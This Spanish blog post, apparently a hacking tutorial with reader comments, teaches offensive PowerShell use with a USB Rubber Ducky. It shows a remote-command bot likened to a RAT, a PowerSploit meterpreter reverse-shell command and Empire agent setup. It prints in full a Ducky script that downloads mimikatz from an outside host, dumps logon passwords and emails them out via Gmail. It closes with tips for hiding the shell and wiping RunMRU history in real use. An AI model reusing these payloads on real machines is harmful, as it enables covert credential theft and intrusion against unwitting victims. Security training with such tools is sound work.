Hola a todos!
Soy Álvaro (@alvarodh5), esta vez vengo a enseñaros lo potente que es powershell y más si lo combinamos con un rubberducky.
Antes de empezar con complejos frameworks ya hechos, me gustaría empezar más o menos desde 0, para que entendáis a grosso modo como funcionan.
¿Qué es powershell?
Powershell es una consola de sistema, un terminal o “CLI” bastante más avanzado y completo que MS-DOS o CMD desde el que podremos configurar completamente un equipo informático basado en Windows sin tener que depender de un escritorio para ello.
Teniendo esto claro, comenzamos a trastear powershell, para ello abriremos un terminal ISE:
Empezaremos creando una función bastante simple, pero que nos ayudará a entender el funcionamiento de powershell:
Ejecutamos y llamamos a nuestra función:
¿Fácil verdad?
Puesto que ya sabemos crear funciones y llamarlas posteriormente, vamos a modificarla de tal manera, que coja otra función en un servidor remoto:
Para ello creamos la función en un simple txt:
Y el nuevo código:
Ejecutamos y llamamos a nuestra función:
Espero que llegados a este punto, a alguien se le haya iluminado la bombilla, ¿Entonces… podríamos dejar siempre un powershell persistente actualizándose periódicamente y ejecutando comandos alojados en nuestro servidor?BINGO!
Para ello, haremos un pequeño “bot” que ejecutará los comandos que le enviemos:
El funcionamiento es bastante simple, se descargará comando.txt, cortará por el valor | y tomará el valor 1 (ósea, el segundo, ya que recordamos que se empieza por 0), buscará el comando con el valor 1 y lo ejecutará:
De esta manera, al ejecutar nuestra función, nuestro fondo de pantalla cambiará por:
Seguramente os parezca muy similar al anterior, pero este es más escalable al poder enviarle comandos y no tener que estar actualizando siempre el mismo fichero, además de poder ampliarlo con funciones por defecto en las que no tendría que buscar el comando. Sólo quedaría añadirle la persistencia para que se ejecute automáticamente y periódicamente, en este caso sería parecido a cualquier RAT.
Como nos habremos dado cuenta, powershell es bastante potente, ya que nos permite hacer lo que queramos con el sistema operativo, así que, ahora si que si, vamos con los frameworks!
El primero será powersploit podréis obtenerlo del repositorio oficial en github: https://github.com/PowerShellMafia/PowerSploit, más concretamente utilizaremos Invoke-Shellcolde:
Ejecutaremos Get-Help Invoke-Shellcode para comprobar que ha cargado correctamente
¡Ahora empieza lo bueno! Vamos a generar una reverse Shell y a tomar el control de la siguiente forma:
Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost IP -Lport 4444 -Force
Obviamente antes deberíamos haber dejado a la escucha nuestro metasploit:
Ahora es turno de Empire! Otro gran framework:
Antes de empezar con Empire, comenzaremos con la teoría rápida:
La estructura de Empire es bastante curiosa y es que se divide en tres:
- Listeners
- Agents
- Stagers
- Los Listeners son los que están a la «escucha», básicamente, son los que encontrarán básicamente a las máquinas infectadas que están conectando con nosotros.
- Los Agents, son el resultado de ejecutar nuestro código malicioso (los infectados).
- Los Stagers son módulos que tiene empire.
Procederemos a descargarnos empire del repositorio oficial en github: https://github.com/adaptivethreat/Empire
Una vez tengamos los ficheros, deberemos ejecutar el fichero install.sh que hay dentro de la carpeta setup, este instalará todas las dependencias necesarias para utilizar empire.
El primer paso será crear nuestro Listener para que encuentre a los Agents:
Dentro de agents, creamos nuestro primer código «malicioso»:
El fichero obtenido será un .bat con el siguiente contenido:
La víctima ejecutará el .bat y….
Estas son las opciones disponibles:
En mi caso intentaré hacer bypass a la UAC para obtener las credenciales con mimikatz:
Peeero, por desgracia nuestro usuario no tiene permisos de administración y por tanto, no podemos ejecutar mimikatz :
Tranquilos, que esto estaba planeado así, de ahí el titulo «De 0 a Pato», y es, que Empire nos permite también generar el payload para nuestro querido USB RubberDucky:
El payload generado es bastante parecido al del .bat, para que nuestro querido patito lo ejecute tendremos que hacer lo siguiente, guardar nuestro payload en un fichero (yo esta vez hice que descargara mimikatz lo ejecutara y me enviara los logs por email, pero lo suyo sería hacer ambas cosas, empire + mimikatz via email para asegurar), una vez tengamos nuestro payload, utilizaremos el encoder para que lo pueda ejecutar:
Nota: Tuve bastantes problemas con la codificación del teclado, así que, os dejo la que he utilizado: espa y utilizar la versión del encoder 2.6.4.
Hora de probar nuestro patito:
Payload utilizado:
REM Author: Pesce
REM Date: 10/20/2013
REM Note: Thanks to all the help everyone! This is my first attempt, don’t be to upset!
REM ————-open command prompt with admin privileges
DELAY 3000
CONTROL ESCAPE
DELAY 1000
STRING cmd
DELAY 1000
CTRL-SHIFT ENTER
DELAY 1000
ALT y
ENTER
DELAY 300
REM ————-download appropriate mimikatz for architecture
STRING powershell if ([System.IntPtr]::Size -eq 4) { (new-object System.Net.WebClient).DownloadFile(‘https://web.com/mimikatz.exe’,’%TEMP%\pw.exe’); }else{ (new-object System.Net.WebClient).DownloadFile(‘https://web2/mimikatz.exe’,’%TEMP%\pw.exe’);}
ENTER
DELAY 5000
REM ————-get the passwords and save to c:\pwlog.txt
STRING %TEMP%\pw.exe > C:\pwlog.txt & type C:\pwlog.txt;
ENTER
DELAY 2000
STRING privilege::debug
ENTER
DELAY 1000
STRING sekurlsa::logonPasswords full
ENTER
DELAY 1000
STRING exit
ENTER
DELAY 300
STRING del %TEMP%\pw.exe
ENTER
DELAY 300
REM ————-email log via gmail
STRING powershell
ENTER
DELAY 300
STRING $SMTPServer = ‘smtp.gmail.com’
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential(‘email1@gmail.com’, ‘password’);
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = ‘email1@gmail.com’
ENTER
STRING $ReportEmail.To.Add(‘email2@gmail.com’)
ENTER
STRING $ReportEmail.Subject = ‘Duck Report’
ENTER
STRING $ReportEmail.Body = ‘Attached is your duck report.’
ENTER
STRING $ReportEmail.Attachments.Add(‘C:\pwlog.txt’)
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
DELAY 1000
STRING exit
ENTER
REM ———————delete and end
STRING del C:\pwlog.txt
ENTER
DELAY 300
STRING exit
ENTER
Revisamos el correo y…
Nota: Es importante que si lo usais en entornos reales, evitéis los mayores peligros posibles ocultando la shell:
STRING mode con:cols=18 lines=1 ENTER STRING color FE ENTER
Y borrando los registros posibles:
STRING powershell "Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue" ENTER STRING exit ENTER
Hasta aquí la entrada de hoy! Espero que os haya gustado.
Un saludo,
Álvaro.
11 comentarios en «De 0 a Pato con Rubber Ducky y Powershell»
esto ya es para nivel alto !
Really the only factor you happen to be watching this site is the expect that we all should have it associated.
Muy buen Articulo, gracias por compartir….
hola no me correo me podes ayudar a configurar bien
salduos
Hola Carlos,
Qué problema tienes? Necesito más información para ayudarte.
¿Por qué punto vas? ¿Qué error te da?
Pregunta!!
En donde guardas los archivos en el servidor para que puedan ser descargados?
En la carpeta de recursos del proyecto del server ? es decir veo que los archivos son descargados o «tomados» de una web, esos archivo, donde se encuentran en la web ?
y otra cosa.. se puede hacer lo mismo pero para pasar archivos de una maquina a otra sin utilizar exploits ni payloads? es decir puramente PowerShell y no un Backdoor ?
Los comentarios están cerrados.